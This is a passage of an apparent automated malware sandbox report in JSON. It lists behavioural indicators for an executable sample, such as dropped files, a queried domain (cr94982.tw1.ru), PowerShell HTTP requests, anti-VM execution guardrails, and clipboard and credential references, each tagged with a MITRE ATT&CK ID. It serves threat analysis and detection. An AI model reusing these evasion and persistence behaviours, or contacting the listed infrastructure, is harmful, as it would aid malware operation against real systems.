\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"wininit.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"OSPPSVC.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"conhost.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64D30000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"intoHostDhcp.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"csrss.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"dllhost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"wininit.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"OSPPSVC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"conhost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75760000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1500160020733d68@ADVAPI32.dll\"\n \"0e000f00e4733d68@ADVAPI32.dll\"\n \"0e000f0050743d68@ADVAPI32.dll\"\n \"11001200d47d3d68@ADVAPI32.dll\"\n \"110012007c7e3d68@ADVAPI32.dll\"\n \"12001300cc7e3d68@ADVAPI32.dll\"\n \"12001300387f3d68@ADVAPI32.dll\"\n \"14001500e4b73d68@ADVAPI32.dll\"\n \"1400150000b83d68@ADVAPI32.dll\"\n \"140015001cb83d68@ADVAPI32.dll\"\n \"1700180038b83d68@ADVAPI32.dll\"\n \"0d000e0054b83d68@ADVAPI32.dll\"\n \"1100120064b83d68@ADVAPI32.dll\"\n \"110012007cb83d68@ADVAPI32.dll\"\n \"0f001000ecb93d68@ADVAPI32.dll\"\n \"1400150038ba3d68@ADVAPI32.dll\"\n \"1400150054ba3d68@ADVAPI32.dll\"\n \"0c000d00a8ba3d68@ADVAPI32.dll\"\n \"0c000d00b8ba3d68@ADVAPI32.dll\"\n \"0e000f00c8ba3d68@ADVAPI32.dll\"\n \"0e000f00dcba3d68@ADVAPI32.dll\"\n \"0b000c00f0ba3d68@ADVAPI32.dll\"\n \"180019008cbd3d68@RPCRT4.dll\"\n \"13001400bcbd3d68@RPCRT4.dll\"\n \"14001500d4bd3d68@RPCRT4.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$42","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$43","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$44","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cr94982.tw1.ru\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$46","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\Windows\\system32\\WLDAP32.dll\" (Source: \"00000000-00001920.00000003.86942.00440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" searching for class \"EDIT\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$48","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"intoHostDhcp.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"DISMHOST.EXE.6A9EA94A.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"intoHostDhcp.exe\" writes to a file \"C:\\Temp\\conhost.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" connecting to \"\\ThemeApiPort\"\n \"WScript.exe\" connecting to \"\\ThemeApiPort\"\n \"intoHostDhcp.exe\" connecting to \"\\ThemeApiPort\"\n \"csrss.exe\" connecting to \"\\ThemeApiPort\"\n \"dllhost.exe\" connecting to \"\\ThemeApiPort\"\n \"OSPPSVC.exe\" connecting to \"\\ThemeApiPort\"\n \"conhost.exe\" connecting to \"\\ThemeApiPort\"\n \"powershell.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"intoHostDhcp.exe\" queries basic process information of the \"C:\\Windows\\System32\\sspicli.dll\" (UID: 5752)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" reads file \"c:\\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$4d","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" writes file \"c:\\blockprovidercomponentweb\\qgmdpygog.bat\"\n \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" writes file \"c:\\blockprovidercomponentweb\\intohostdhcp.exe\"\n \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" writes file \"c:\\blockprovidercomponentweb\\no2ezg6mws0.vbe\"\n \"intoHostDhcp.exe\" writes file \"c:\\programdata\\oracle\\java\\javapath_target_623756\\dllhost.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00000824.00000001.86570.01C00000.00000004.mdmp\")\n Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00003024.00000001.86003.01D70000.00000004.mdmp, 00000000-00005488.00000001.88777.02110000.00000004.mdmp, 00000000-00005800.00000001.88885.021F0000.00000004.mdmp, 00000000-00005944.00000001.89465.01F50000.00000004.mdmp\")\n Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00001572.00000003.84004.01E30000.00000004.mdmp\")\n Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00001920.00000002.82354.01E10000.00000004.mdmp\")\n Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00003284.00000001.85400.021F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-798","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"intoHostDhcp.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00005752)\n \"csrss.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00006116)\n \"wininit.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001920)\n \"OSPPSVC.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00001572)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00004068)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003876)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003824)\n \"powershell.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002964)\n \"dllhost.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003284)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$51","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5192418\"\n \"lpReserved\": \"0\"}\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1c82fb0\"\n \"lpReserved\": \"0\"}\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"522d960\"\n \"lpReserved\": \"0\"}\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5341010\"\n \"lpReserved\": \"0\"}\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5226970\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004068-00000C2C-304475504\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00004068-00000C2C-315139519\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00004068-00000C2C-315140240\")\n Found reference to API \"WinHttpQueryHeaders\" (Indicator: \"WinHttpQueryHeaders\"; Source: \"00000000-00004068-00000C2C-315166110\")\n Found reference to API \"WinHttpReadData\" (Indicator: \"WinHttpReadData\"; Source: \"00000000-00004068-00000C2C-315166638\")\n Found reference to API \"WinHttpConnect\" (Indicator: \"WinHttpConnect\"; Source: \"00000000-00004328-00000C2C-308518572\")\n Found reference to API \"WinHttpSendRequest\" (Indicator: \"HttpSendRequest\"; Source: \"00000000-00004328-00000C2C-314231475\")\n Found reference to API \"WinHttpSendRequest\" (Indicator: \"WinHttpSendRequest\"; Source: \"00000000-00004328-00000C2C-314231475\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$53","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$54","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00005856\"\n YARA signature for AES encryption matched on process \"00000000-00005752\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"file/memory contains long string with (Indicator: \"gcloud\"; File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1021.007","relevance":1,"id":"string-767","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$56","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"$57","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" tries to directly access volume data \"C:\"\n \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" tries to directly access volume data \"Z:\"\n \"intoHostDhcp.exe\" tries to directly access volume data \"C:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$58","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"intoHostDhcp.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"csrss.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"dllhost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"wininit.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"OSPPSVC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"intoHostDhcp.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$59","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00001216.00000001.88761.00480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004128.00000000.89734.00821000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"p_DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004128.00000000.89734.00821000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: 